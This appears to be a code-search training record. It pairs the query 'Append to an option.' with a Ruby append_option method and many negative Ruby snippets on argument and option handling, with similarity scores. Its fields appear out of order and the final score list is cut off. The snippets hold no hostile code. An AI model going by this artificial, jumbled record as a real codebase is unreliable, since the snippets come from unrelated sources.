"def initialize_argument_list\n args = ArgumentList.new\n args.x = args.y = args.width = args.height = 0\n args.text = ''\n args.options = {}\n\n args\nend",
"def generate_constructor(arguments)\n params = arguments.map do |arg_name, required|\n if required\n arg_name\n else\n \"#{arg_name} = self.class.__constructor_default(:#{arg_name})\"\n end\n end\n\n <<-SRC\n def initialize(#{params.join(\", \")})\n super(#{arguments.keys.join(\", \")})\n freeze\n end\n SRC\n end",
"def initialize_cmd_args(args, new_name_args)\n args = args.dup\n args.shift(2 + @name_args.length) \n cmd_args = new_name_args + args\n end",
"def build_pair *args\n args = args.to_a unless args.respond_to? :each_slice\n args.each_slice(2).map{|name,var| \"#{name} [#{var}]\" }.join(' ')\n end",
"def arguments\n tailing_args = tailing_non_options\n\n if tailing_args.any? { |arg| arg[0,1] == '-' }\n tailing_args.unshift('--')\n end\n\n return leading_non_options + options + tailing_args\n end",
"def set_args\n <<-CODE\n t1 = stack_pop();\n c->args = N2I(t1);\n CODE\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # this measure will require arguments, but at this time, they are not known\n geometry_profile = OpenStudio::Ruleset::OSArgument::makeStringArgument('geometry_profile', true)\n geometry_profile.setDefaultValue(\"{}\")\n os_model = OpenStudio::Ruleset::OSArgument::makeStringArgument('os_model', true)\n os_model.setDefaultValue('multi-model mode')\n user_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('user_id', true)\n user_id.setDefaultValue(\"00000000-0000-0000-0000-000000000000\")\n job_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('job_id', true)\n #job_id.setDefaultValue(SecureRandom.uuid.to_s)\n ashrae_climate_zone = OpenStudio::Ruleset::OSArgument::makeStringArgument('ashrae_climate_zone', false)\n ashrae_climate_zone.setDefaultValue(\"-1\")\n building_type = OpenStudio::Ruleset::OSArgument::makeStringArgument('building_type', false)\n building_type.setDefaultValue(\"BadDefaultType\")\n\n args << geometry_profile\n args << os_model\n args << user_id\n args << job_id\n args << ashrae_climate_zone\n args << building_type\n\n return args\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n #make a start date argument\n start_date = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"start_date\",true)\n start_date.setDisplayName(\"Start date\")\n args << start_date\n \n #make an end date argument\n end_date = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"end_date\",true)\n end_date.setDisplayName(\"End date\")\n args << end_date\n \n return args\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n \r\n return args\r\n end",
"def build_steps_script_arguments(steps, procedure_steps)\n steps.each_with_index do |step, i|\n Step.build_script_arguments_for(step, procedure_steps[i])\n end\n end",
"def args() return @args end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n return args\r\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n return args\r\n end",
"def set_args(argvals, arglist)\n @arglist = arglist\n @argvals = argvals\n i = 0\n if argvals == \"\"\n @argvals = Array.new\n arglist.each do |arg|\n @argvals << nil\n end\n end\n arglist.each do |arg|\n\n if @argvals[i].nil?\n @argvals[i] = \"\"\n end\n #Tricky magic part where we are defining var names on the fly. Escaped quotes turn everything to strings.\n #Handle this later by allowing numbers to be numbers but keeping strings.\n\n instance_eval \"def #{arg}; return argvals[#{i}]; end\"\n i += 1\n end\n end",
"def gen_each_arg(joinwith=\"\\n\")\n s = []\n args.each do |name|\n t = yield name, argtype[name]\n s << t unless t.nil?\n end\n return s.join(joinwith)\n end",
"def create_sequence( *elements )\n return Util::ExpressionForms::Sequence.new( *elements )\n end",
"def step_args(a1, a2)\n if a1.is_a?(Hash)\n # fake keywords style\n badkeys = a1.keys - %i[to by]\n raise ArgumentError, \"Unknown keywords: #{ badkeys.join(\", \") }\" if badkeys.any?\n to = a1.fetch(:to, nil)\n by = a1.fetch(:by, ONE)\n else\n # positional style (limit, step)\n to = a1\n by = a2\n end\n [to ? Q.new(to) : nil, Q.new(by)]\n end",
"def parse_arguments\n args_list = []\n\n expect(:L_PARANTH)\n\n args_list = parse_expression_list unless peek?(:R_PARANTH)\n\n expect(:R_PARANTH)\n\n args_list\n end",
"def SpawnArguments(*args)\n # the env vars hash is either the first argument, or empty\n env = if args.first.is_a?(Hash)\n args.shift\n else\n {}\n end\n\n # the options hash is either the last argument, or empty\n options = if args.last.is_a?(Hash)\n args.pop\n else\n {}\n end\n\n raise(ArgumentError, \"You must provide a command to run.\") if args.empty?\n\n command = args.shift\n\n raise(\n ArgumentError,\n \"Unable to recognize first command component. Expected String or Array, got #{args.first.class}.\"\n ) unless command.is_a?(String) || command.is_a?(Array)\n\n raise(\n ArgumentError,\n \"Each command component after the first must be strings.\"\n ) unless args.all? { |arg| arg.is_a?(String) }\n\n if args.empty?\n if command.is_a?(String) # single commandline string\n [env, command, options]\n elsif command.is_a?(Array)\n [env, [command], options] # [command, argv0] pair with no other command arguments\n end\n else\n # this covers\n # a command with multiple string arguments\n # and\n # a [command, argv0] pair with multiple string arguments\n [env, [command, *args], options]\n end\nend",
"def generate_args_list(args_list)\n args = args_list.map { |args| generate_args(args) }.flatten.compact\n end",
"def args\n defined_args = []\n self.class.init_args.keys.each do | arg |\n if arg_val = send(arg)\n defined_args << \":#{arg} => #{arg_val}\"\n end\n end\n defined_args.join(\",\\n\")\n end",
"def createArgumentAllocas(function , builder)\n function.params.each do |param|\n alloc = builder.alloca param\n builder.store param , alloc\n # Add arguments to variable symbol table.\n ExprAST.named_values[param.name] = alloc\n #puts \"Alloca #{param.name} = #{alloc}\"\n end\n end",
"def arguments(method)\n\n\n\n # 211:7: first_argument[method] ( other_arguments[method] )*\n first_argument(method)\n\n # 211:30: ( other_arguments[method] )*\n while true\n alt30 = 2\n # ()* loopback of 211:30: ( other_arguments[method] )*\n look_ahead30_0 = look_ahead(1)\n if look_ahead30_0 == :COMMA \n alt30 = 1\n end\n case alt30\n when 1\n # 211:32: other_arguments[method]\n other_arguments(method)\n\n else\n break\n end\n end\n\n\n\n end",
"def arguments\n parsed {\n @arguments\n }\n end",
"def sequence(args)\n# Extract the arguments from the hash.\n# Note the use of the || operator to specify defaults used\n# if the hash does not define a key that we are interested in.\nn = args[:n] || 0\nm = args[:m] || 1\nc = args[:c] || 0\na = []\nn.times {|i| a << m*i+c }\na\nend",
"def spawn_args\n result = Array.new\n unless environment.empty?\n result << environment\n end\n result.concat(command_line)\n opts = Hash.new\n opts[:chdir] = directory.to_s unless directory.nil?\n opts[:pgroup] = pgroup unless pgroup.nil?\n opts[:umask] = umask unless umask.nil?\n opts[:unsetenv_others] = unsetenv_others unless unsetenv_others.nil?\n opts[:close_others] = close_others unless close_others.nil?\n rlimit.each do |key, value|\n opts[\"rlimit_#{key}\".to_sym] = value\n end\n redirection.each do |key, value|\n opts[key] = value\n end\n result << opts\n result\n end",
"def builder_args\n [ name ]\n end",
"def varios_args(*args)\n puts \"Tamanho de args: #{args.size}\"\n args.each { |x| p x}\n end",
"def uniformContainer _args\n \"uniformContainer _args;\" \n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n # todo - add bool arguments to decide what tables to generate, default all to true.\r\n\r\n return args\r\n end",
"def initialize(*args); end",
"def varargs(arg1, *rest)\n puts \"Got #{arg1} and #{rest.join(', ')}\"\nend",
"def initialize(**args)\n self.args = args\n self.args.freeze\n\n parse_arguments\n validate_arguments!\n\n end",
"def generate_args(args)\n args.empty? || args.last.blank? ? nil : args\n end",
"def how_many_args(*args)\n\targs.length\nend",
"def parse_arguments(arguments)\n unless arguments.class == Array\n raise ArgumentError, \"arguments must be an Array\"\n end\n @options = Trollop::options arguments do\n opt :csv_path, \"Full path to output csv file (Required)\",\n :type => :string, :short => \"-c\", :required => true\n opt :database_host,\n \"Host IP of the database (Only required if connecting via TCP)\",\n :type => :string, :short => \"-h\"\n opt :database_name, \"Database name (Required)\", :type => :string,\n :short => \"-n\", :required => true\n opt :database_user, \"Database username (Required)\", :type => :string,\n :short => \"-u\", :required => true\n opt :database_password, \"Database password (Required)\",\n :type => :string, :short => \"-p\", :required => true\n opt :skip_fund_indexing, \"Skip fund indexing from Bloomberg site\"\n version \"Bargain Stock Funds Scraper version #{Bsf::Scraper::VERSION}\"\n end\n end",
"def variable_length( *args )\n return args\nend",
"def evaled_arguments\n to_eval = if arguments_or_options =~ /[^,]+=>/\n %Q~{ #{arguments_or_options} }~\n else\n %Q~[ #{arguments_or_options} ]~\n end\n precompiler.instance_eval to_eval\n end",
"def arguments(workspace)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n return args\n end",
"def arguments(_model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def with_arguments(**arguments)\n @arguments = @arguments.merge(arguments)\n self\n end",
"def my_args(first, *args, last)\n # Use the splat (i.e. *) in front of an \n # argument to take in any number of args\n # into an array (like gather in JS i.e. ...).\n # Unlike gather, it can be placed at the beginning,\n # the middle, or the end of a list of args\n puts(\"first: #{first}\")\n puts(\"args: #{args}\")\n puts(\"last: #{last}\")\nend",
"def arguments(required, *optional)\n puts \"required: #{required}\"\n puts \"optional: #{optional}\"\nend",
"def extract_argument_lists(args, splittable_args); end",
"def get_args\n <<-CODE\n stack_push(I2N(c->args));\n CODE\n end",
"def initialize(*args)\n super(*([0] + args))\n end",
"def arguments(workspace)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def initialize(*rest) end",
"def arguments\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 34 )\n\n begin\n # at line 992:4: expression ( ',' expression )*\n @state.following.push( TOKENS_FOLLOWING_expression_IN_arguments_1708 )\n expression\n @state.following.pop\n # --> action\n\n \t @argument_counter = 0\n \t argument = @stack_operands.pop \n \t argument_type = @stack_types.pop\n \t if(@method_called.parameter_count <= @argument_counter)\n \t raise \"There are more arguments than parameters in #{@class_called.name}::#{@method_called.name} (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t parameter_type = @method_called.parameter_list[@argument_counter].type\n \t if(argument_type != parameter_type)\n \t raise \"Argument '#{@argument_counter + 1}' in method #{@class_called.name}::#{@method_called.name} is not '#{parameter_type}' (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t @argument_counter += 1\n \t #Los prm empiezan en 1 pues el 0 le pertenece a self\n \t generate('prm', nil,argument, @argument_counter)\n \t \n # <-- action\n # at line 1008:4: ( ',' expression )*\n while true # decision 34\n alt_34 = 2\n look_34_0 = @input.peek( 1 )\n\n if ( look_34_0 == T__34 )\n alt_34 = 1\n\n end\n case alt_34\n when 1\n # at line 1009:7: ',' expression\n match( T__34, TOKENS_FOLLOWING_T__34_IN_arguments_1726 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_arguments_1735 )\n expression\n @state.following.pop\n # --> action\n\n \t argument = @stack_operands.pop \n \t argument_type = @stack_types.pop\n \t if(@method_called.parameter_count <= @argument_counter)\n \t raise \"There are more arguments than parameters in #{@class_called.name}::#{@method_called.name} (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t parameter_type = @method_called.parameter_list[@argument_counter].type\n \t if(argument_type != parameter_type)\n \t raise \"Argument '#{@argument_counter + 1}' in method #{@class_called.name}::#{@method_called.name} is not '#{parameter_type}' (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t @argument_counter += 1\n \t #Los prm empiezan en 1 pues el 0 le pertenece a self\n \t generate('prm', nil,argument, @argument_counter)\n \t \n # <-- action\n\n else\n break # out of loop for decision 34\n end\n end # loop for decision 34\n # --> action\n\n \t if(@method_called.parameter_count != @argument_counter)\n \t raise \"There are less arguments than parameters in #{@class_called.name}::#{@method_called.name} (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t @argument_counter = 0;\n \t \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 34 )\n\n end\n \n return \n end"
] |
[
"0.6552697",
"0.6552697",
"0.6494469",
"0.6454489",
"0.63808215",
"0.63703585",
"0.63653284",
"0.63653284",
"0.6253949",
"0.6226967",
"0.6204987",
"0.61643344",
"0.6131809",
"0.61165804",
"0.6111379",
"0.610955",
"0.6026722",
"0.601024",
"0.5974691",
"0.5974691",
"0.5963202",
"0.59581834",
"0.5957495",
"0.5947903",
"0.5894435",
"0.5894435",
"0.5894435",
"0.58726",
"0.5821039",
"0.57746214",
"0.5746957",
"0.57431406",
"0.5735912",
"0.5719929",
"0.5714016",
"0.571153",
"0.5710294",
"0.5709723",
"0.56833494",
"0.56833494",
"0.56833494",
"0.56833494",
"0.56833494",
"0.56833494",
"0.56833494",
"0.5674191",
"0.56675935",
"0.5665396",
"0.56551164",
"0.5645951",
"0.5642344",
"0.56378794",
"0.563396",
"0.5621231",
"0.5602087",
"0.56019765",
"0.5587623",
"0.5583834",
"0.55777234",
"0.55706424",
"0.5567416",
"0.55668193",
"0.55440277",
"0.55440277",
"0.5543362",
"0.55381215",
"0.55331",
"0.5527517",
"0.55142725",
"0.5511458",
"0.55082387",
"0.55063266",
"0.55049497",
"0.5499222",
"0.5498221",
"0.5493055",
"0.5488079",
"0.54869205",
"0.54752153",
"0.5475058",
"0.54450154",
"0.5441502",
"0.54368675",
"0.5432683",
"0.5431676",
"0.5427617",
"0.5427293",
"0.54233444",
"0.5420507",
"0.54187",
"0.5414141",
"0.5409498",
"0.5407857",
"0.54069513",
"0.54015595",
"0.54014885",
"0.5400884",
"0.54006624",
"0.54002315",
"0.53985816"
] |
0.624742
|
9
|
Append to an option.
|
def append_option(key, *value)
@options[key] = ((@options[key] || []) + [value]).flatten
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_option(option)\n @options += [option]\n end",
"def addOption(option)\n\t\t@list.last.merge!(option)\n\tend",
"def add_option(choice, *args, &block)\n self.options << choice\n self.builder.add_choice(choice, *args, &block)\n end",
"def append_opt(opt)\n if opt.name == :dhcp_message_type\n unless @type.nil?\n raise \"DHCP message type ALREADY SET in packet\"\n end\n set_type(opt)\n end\n @optlist << opt\n end",
"def add_graph_option(o)\n @options.push(o)\n end",
"def add_option(name, opt={})\n @options = (@options || {}).merge(name.to_s=>opt)\n end",
"def add_option(name, value = T.unsafe(nil)); end",
"def add_options(opts)\n opts\n end",
"def add(option:)\n self\n .class\n .new(\n option: option,\n options: @options\n )\n end",
"def add_argument(arg)\n @options[:args] << arg\n end",
"def add_option_token(token)\n return self unless token.valid?\n\n add_option_name(token)\n @options.push(token.build)\n\n self\n end",
"def +(option)\n self.class.new({git: @address, tag: @tag, branch: @branch, hash_id: @hash_id}.merge(option))\n end",
"def <<(arg)\r\n if arg.is_a?(Array)\r\n @opts += arg\r\n else\r\n @opts << arg\r\n end\r\n self\r\n end",
"def add_option(number, value)\n t = Misc::TLV.new(1,1)\n t.type = number\n t.value = value\n t.length = value.length + 2\n @options << t.encode\n end",
"def include_opt(opt)\n list = @optlist\n @options = ''\n @optlist = []\n list.each do |o|\n ## This implementation currently doesn't support duplicate options yet:\n raise \"Duplicate option in packet.\" if o.name == opt.name\n ## Skip/ignore the end option:\n @optlist << o unless o.name == :end\n end\n append_opt(opt)\n @optlist << Opt.new(255, :end)\n end",
"def add_option(size, value)\n struct = PacketWriter.TypeValueStruct.new 1, 1\n struct.type = size\n struct.value = value\n struct.length = value.length + 2\n self.options << struct.encode\n end",
"def add_argument(*args, &block)\n ArgParse.add_option(*args, &block)\n end",
"def add_options(opts, options, path='')\n options.each_pair { |k,v|\n next unless v.is_a?(Hash)\n key_path = path.empty? ? k.to_s : \"#{path}.#{k}\"\n if v.has_key?(:val)\n default = v[:val]\n switch = \"--#{key_path} #{v[:arg]}\"\n doc_with_default = \"#{v[:doc]} Default: #{default}\"\n if default.is_a?(Array)\n if v.has_key?(:short)\n opts.on(v[:short], switch, String, v[:doc]) { |val| arg_append(key_path, val, v[:parse]) }\n else\n opts.on(switch, String, v[:doc]) { |val| arg_append(key_path, val, v[:parse]) }\n end\n elsif v.has_key?(:short)\n # If val is nil then the option was a flag so set to true\n opts.on(v[:short], switch, v[:type], doc_with_default) { |val| set(key_path, val || true) }\n else \n # If val is nil then the option was a flag so set to true\n opts.on(switch, v[:type], doc_with_default) { |val| set(key_path, val || true) }\n end\n else\n add_options(opts, v, key_path)\n end\n }\n end",
"def put_option(key, value)\n if !value.nil?\n value = value.join(\" \") if value.kind_of?(Array)\n @options[key] = value\n end\n end",
"def update_option(opt, val)\n @options[opt] = val\n end",
"def append!\n self.operation = :append\n end",
"def propagate_option(option, value = nil)\n @cl_propagate << option\n @cl_propagate << value unless value.nil?\n end",
"def add_options; end",
"def add_option(rule, key, value)\n return unless include?(rule)\n @rules[rule].options[key] = value\n end",
"def add(short, long, arg, description, block)\n pad = @align ? \" \" : \"\"\n s = short ? short.dup : pad\n s << (short ? \", \" : pad) if long\n doc \" #{s}#{long} #{arg}\".ljust(@width-1) + \" #{description}\"\n @options << Option.new(short, long, arg, description, block)\n end",
"def merge_options(options, new_option)\n old_option = options.assoc(new_option.first)\n\n if old_option\n options[options.index(old_option)] = new_option.flatten\n else\n options << new_option.flatten\n end\n end",
"def add_options(&block)\n if options\n old_options = options\n self.options = proc do\n instance_exec(&old_options)\n instance_exec(&block)\n end\n else\n self.options = block\n end\n self\n end",
"def option(flag, text, scope=nil)\n Runner.instance.add_option flag, text, scope\n end",
"def add_option option, consequence\n\n @index += 1\n @consequences[@index] = {option => consequence}\n end",
"def add_selected_option(option)\n if new_record?\n self.selected_options = build_selected_options\n else\n update_column(:selected_options, build_selected_options(vote_proposal_options + [option]))\n end\n end",
"def add_option(name, type, options_info, options_text, option_name, option_descr, attribute)\n raise 'Invalid option type' unless VALID_OPTION_TYPE.include?(type)\n options_info = parse_string(options_info) if options_info.is_a?(String)\n options_text = parse_string(options_text) if options_text.is_a?(String)\n options_text.map! { |option_text| get_text(option_text) } unless options_text.is_a?(String)\n option_name = get_text(option_name)\n option_descr = get_text(option_descr)\n getter = attribute\n setter = \"#{getter}=\"\n return if options_info.is_a?(Array) && options_info.size <= 1\n @options[name] = Helper.new(type, options_info, options_text, option_name, option_descr, getter, setter)\n end",
"def add_opts!(type=:gen, *opts)\n opt_type = OpenBabel::OBConversion.const_get(type.to_s.upcase.<<(\"OPTIONS\"))\n hash = \n if opts.first.is_a?(Hash)\n opts.first\n else\n opts.inject({}) do |hsh,v| \n if v.is_a?(Array)\n hsh[v[0]] = v[1]\n else\n hsh[v] = true\n end\n hsh\n end\n end\n hash.each do |k,v|\n next if v == false\n args = [ (OUT_OPTS_SHORT[k] || k).to_s, opt_type ]\n if v && (v != true)\n args << v\n end\n self.add_option(*args)\n end\n self\n end",
"def add_element(element)\n if nested_child?\n @options.last.last.add_element(element)\n else\n @options.last << element\n end\n end",
"def add_valid_option(option)\n @@valid_options.push(option) unless @@valid_options.include?(option)\n @@valid_options\n end",
"def add_empty_arg_if_ends_in_option(args, option)\n de_option(args.last) == option.long ? args + [\"\"] : args\n end",
"def add_options(options = {}, raw_options = nil)\n @options.merge!(options.stringify_keys) unless options.blank?\n @raw_options << raw_options unless raw_options.blank?\n end",
"def option(short, long, desc = nil, options = {})\n @__options ||= []\n option = Shebang::Option.new(short, long, desc, options)\n\n @__options.push(option)\n end",
"def add(opt)\n @rtsocket.link.add(vlan_options(opt))\n end",
"def append_to_file(path, *args, &block)\n options = args.last.is_a?(Hash) ? args.pop : {}\n options.merge!(before: /\\z/)\n insert_into_file(path, *(args << options), &block)\n end",
"def append(opts)\n playlist_control :add, opts\n end",
"def options!(**opts)\n options.merge!(opts)\n end",
"def set_option(key, value)\r\n\t\t\tif value.is_a? Array\r\n\t\t\t\tvalue = value.join \",\"\r\n\t\t\tend\r\n\t\t\tself.options[key] = value\r\n\t\tend",
"def options=(options)\n remove_children :option\n if options\n Array(options).each { |o| self << Option.new(o) }\n end\n end",
"def delayed_option(option, value, object)\n @delayed_options << {\n :option => option.to_s, \n :value => value, \n :object => object\n }\n end",
"def delayed_option(option, value, object)\n @delayed_options << {\n :option => option.to_s, \n :value => value, \n :object => object\n }\n end",
"def append(id, content, options = AppendOptions.new) end",
"def options_add opts, colors\n\t\t\t\topts.separator \"\"\n\t\t\t\topts.separator \" *\".colorize(colors[:cyan]) + \" add, a\".colorize(colors[:yellow]) + \n\t\t\t\t\" adds the task to the current list\".colorize(colors[:magenta])\n\t\t\t\topts.separator \" usage: \".colorize(colors[:cyan]) + USAGE[:add].colorize(colors[:red])\n\t\t\t\topts.on('-p PRIORITY', [\"high\", \"medium\", \"low\"], 'set the priority of the task to one of the', 'following. Default is medium') do |p|\n\t\t\t\t\tpriorities = {\n\t\t\t\t\t\t\"high\" => 0,\n\t\t\t\t\t\t\"medium\" => 1,\n\t\t\t\t\t\t\"low\" => 2\n\t\t\t\t\t}\n\t\t\t\t\tOPTIONS[:change_priority] = true\n\t\t\t\t\tOPTIONS[:priority] = priorities[p]\n\t\t\t\tend\n\t\t\tend",
"def arg_append(path, val, parse)\n parts = val.split('=')\n if 1 < parts.length\n val = {}\n parse.each_index { |i| val[parse[i].to_sym] = parts[i] }\n end\n a = get(path)\n if a.nil?\n a = []\n set(path, a)\n end\n a.push(val)\n end",
"def define_options(opt)\n # override this; no additional options by default\n end",
"def with(options = {})\n options.each_pair do |option, value|\n @options[\"=#{option}\"] = value\n end\n self\n end",
"def save_option_value(key, value, as_array = false)\n if as_array\n node = @cl_options.get_child?(key)\n node ? node.value << value : @cl_options.add_property(key, [value])\n else\n @cl_options.add_property(key, value, overwrite: true)\n end\n end",
"def <<(line)\n if line.kind_of?(IniParse::Lines::Section)\n raise IniParse::LineNotAllowed,\n \"You can't add a Section to an OptionCollection.\"\n end\n\n if line.blank? || (! has_key?(line.key))\n super # Adding a new option, comment or blank line.\n else\n self[line.key] = [self[line.key], line].flatten\n end\n\n self\n end",
"def option(sym, *options)\n @options << options\n @map[options[0]] = sym\n end",
"def options=(value)\n @@options.merge!(value)\n end",
"def append(key, value)\n send_command([:append, key, value])\n end",
"def add_option_doc(option, description)\n @doc_options[option] = description\n end",
"def append(value)\n end",
"def add_option name, default_value = nil\n # marks the option as accepted\n accepted_options << name\n # defines an accessor method for the option\n define_method(name) do\n if supplied.has_key?(name)\n supplied[name]\n else\n default_value\n end\n end\n end",
"def maybe_append_options! args, kargs, blk\n return false unless @has_options_contract\n\n if @has_proc_contract && args_contracts[-2].is_a?(Contracts::Builtin::KeywordArgs)\n args.insert(-2, kargs)\n elsif args_contracts[-1].is_a?(Contracts::Builtin::KeywordArgs)\n args << kargs\n end\n true\n end",
"def option(option)\n \"--\" << option.to_s.gsub('_', '-')\n end",
"def append(value = '')\n @source += value\n end",
"def backingstore_option(key, value)\n @backingstore_options << [key, value]\n end",
"def add(opt)\n ipaddr_modify(RTM_NEWADDR, NLM_F_CREATE|NLM_F_EXCL, opt)\n end",
"def option key, value\n @options[ key ] = value\n end",
"def add(opt)\n iplink_modify(RTM_NEWLINK, NLM_F_CREATE|NLM_F_EXCL, opt)\n end",
"def option(name, behaviors = {}, &block)\n Ablerc.options << Ablerc::Option.new(name, behaviors, &block)\n end",
"def options(opt); end",
"def options(opt); end",
"def on!(*args, &block)\n register new_option(args, &block), true\n end",
"def append *arg\n\t\t\t\n\t\t\t@orient.update { \"set #{@name.to_s} = #{@name} || #{arg.to_or} \"}[@name] if check_if_complete\n\t\t\t@orient.reload!\n\t\tend",
"def with_options( opts={} )\n @options.update opts\n self\n end",
"def add(val, options = {})\n field = (options[:as] || val).to_sym\n\n self[field] = val\n\n @options[field] = options\n end",
"def options(opt)\n end",
"def add_options(group)\n @groups[group.description] = group\n group.each { |o| register_option(o) }\n end",
"def add_option\r\n\t\t@current_menu = 'products'\r\n\r\n\t\tif params[:option_id]\r\n\t\t\t@product = Product.find(params[:id])\r\n\t\t\tcur_option = Option.find(params[:option_id])\r\n\t\t\toption_values = OptionValue.find(:all, :conditions => [ \"option_id = #{cur_option[:id]}\" ])\r\n\r\n\t\t\toption_values.each do |cur_option_value|\r\n\t\t\t\tcur_default_value = cur_option[:default_value] == cur_option_value[:id].to_s ? 1 : 0\r\n\t\t\t\t@product.product_option_values.create({ :option_value_id => cur_option_value[:id], :position => cur_option_value[:position], :default_value => cur_default_value })\r\n\t\t\tend\r\n\r\n\r\n\t\tend\r\n\r\n\t\tredirect_to :action => :product, :id => @product.id, :anchor => 'options'\r\n\tend",
"def add_html_options(existing_options)\n { readonly: @readonly, disabled: @disabled, autocomplete: @autocomplete }.merge(@data_options)\n .merge(existing_options)\n end",
"def reverse_add_options(options = {}, raw_options = nil)\n @options.reverse_merge!(options.stringify_keys) unless options.blank?\n @raw_options << raw_options unless raw_options.blank?\n end",
"def append(appended_text = '')\n @text << ' ' << appended_text\n end",
"def set_option(value)\r\n\t\tif value.is_a? Array\r\n\t\t\tvalue.each do |cur_value|\r\n\t\t\t\to_v = OptionValue.find(cur_value)\r\n\t\t\t\tself.line_item_option_values << LineItemOptionValue.new(:option_value => cur_value, :extra_cost => o_v.extra_cost, :extra_weight => o_v.extra_weight)\r\n\t\t\tend\r\n\t\telse\r\n\t\t\to_v = OptionValue.find(value)\r\n\t\t\tself.line_item_option_values << LineItemOptionValue.new(:option_value => value, :extra_cost => o_v.extra_cost, :extra_weight => o_v.extra_weight)\r\n\t\tend\r\n\tend",
"def add_option\n @option = QuestionOption.new\n end",
"def has_option(opt, value)\n options[opt] = value\n end",
"def append(key, value)\n perform(:append, key, value.to_s)\n end",
"def merge_option(key, options)\n my_options = self.send(key) || {}\n my_options.merge(options[key] || {})\n end",
"def add(**options, &block)\n r = ole.Add\n options.each do |k, v|\n r.send(\"#{k}=\", v) unless v.nil?\n end\n yield r if block_given?\n r\n end",
"def hsdq_add_options(opts)\n if @hsdq_opts\n @hsdq_opts.merge!(opts)\n else\n hsdq_opts(opts)\n end\n end",
"def add_argument result, opt_parser, opt_token, plugin_name, argument\n arg = []\n\n type = argument[:type]\n\n block = if type == TrueClass or type == FalseClass\n if argument[:simple]\n arg << \"--#{opt_token}-#{argument[:name]}\".gsub(/_/, '-')\n else\n arg << \"--[no-]#{opt_token}-#{argument[:name]}\".gsub(/_/, '-')\n end\n\n proc do |val|\n result[plugin_name] ||= {}\n result[plugin_name][argument[:name]] = val\n argument[:value] = val\n end\n elsif type == Array\n arg += [ \"--#{opt_token}-#{argument[:name]} STRING\".gsub(/_/, '-'), String ]\n\n proc do |val|\n result[plugin_name] ||= {}\n if result[plugin_name][argument[:name]].nil?\n result[plugin_name][argument[:name]] ||= []\n argument[:value] = result[plugin_name][argument[:name]]\n end\n result[plugin_name][argument[:name]] << val\n end\n else\n arg += [ \"--#{opt_token}-#{argument[:name]} STRING\".gsub(/_/, '-'), String ]\n\n proc do |val|\n result[plugin_name] ||= {}\n result[plugin_name][argument[:name]] = val\n argument[:value] = val\n end\n end\n\n arg << argument[:description] unless argument[:description].nil?\n arg << 'default: ' + argument[:default].to_s unless argument[:default].nil?\n\n opt_parser.on(*arg, block)\n end",
"def append(options = {})\n if entry = find_entry_by_ip_address(options[:ip_address])\n hosts = normalize(entry.hostname, entry.aliases, options[:hostname], options[:aliases])\n entry.hostname = hosts.shift\n entry.aliases = hosts\n\n unless entry.comment && options[:comment] && entry.comment.include?(options[:comment])\n entry.comment = normalize(entry.comment, options[:comment]).join(', ')\n end\n\n remove_existing_hostnames(entry) if options[:unique]\n else\n add(options)\n end\n end",
"def configure(option)\n config.merge(option)\n end",
"def merge_options!(hash)\n hash.merge!(@options)\n end",
"def add_drawgradient_option(theOption)\n if @elementHash[:gradientoptions].nil?\n @elementHash[:gradientoptions] = [theOption]\n else\n @elementHash[:gradientoptions].push(theOption)\n end\n @elementHash[:gradientoptions]\n end",
"def options=(hash={})\n hash.each { |key,value| write_option(key, value) }\n end",
"def add(opt_defs)\n\t\topt_defs.each do |opt_def|\n\t\t\tklass, body, default = parse_def opt_def\n\t\t\tname, aliases = split_body body\n\t\t\tnew_opt = create_opt(klass, name, aliases, default)\n\t\t\tadd_raw new_opt\n\t\tend\n\t\tself\n\tend",
"def unshift_option_value argv, initial_option, value_str\n # recurse to handle option through regular code paths\n argv.unshift \"--\" + initial_option\n argv.unshift value_str\n end",
"def append_to_file(path, *args, &block)\n config = args.last.is_a?(Hash) ? args.pop : {}\n config[:before] = /\\z/\n insert_into_file(path, *(args << config), &block)\n end",
"def set(option, value=self)\n if value == self && option.kind_of?(Hash)\n @app.options.merge!(option)\n else\n @app.options.merge!(option => value)\n end\n end",
"def add_option_name(token)\n option_config = @action_config.option(token.name)\n old_config = @option_names.add?(option_config.name)\n raise Cliqr::Error::MultipleOptionValues, \"multiple values for option \\\"#{token.arg}\\\"\" \\\n if old_config.nil? && !option_config.multi_valued?\n @option_names.add(option_config.short) if option_config.short?\n @option_names\n end",
"def add(glob, options)\n definition << options.merge(:glob => glob)\n end",
"def with_options(options)\r\n yield ActiveSupport::OptionMerger.new(self, options)\r\n end",
"def create_new_option(value)\n payload = { value: value }\n client.post(\"/customFields/#{id}/options\", payload)\n end",
"def add_help_option\n if @config[:help] && !(has_option?(:help) || has_option?(:h))\n h = self # bind self so that it can be called in the block\n self.option(:h, :help, \"Display this help message\", :tail => true) do\n puts h.help\n exit 0\n end\n end\n end"
] |
[
"0.8213087",
"0.7177456",
"0.71597177",
"0.71308154",
"0.68898356",
"0.68823177",
"0.67696524",
"0.6692969",
"0.6630291",
"0.66029876",
"0.6599891",
"0.6581243",
"0.6559765",
"0.6517126",
"0.6511164",
"0.64537925",
"0.64380985",
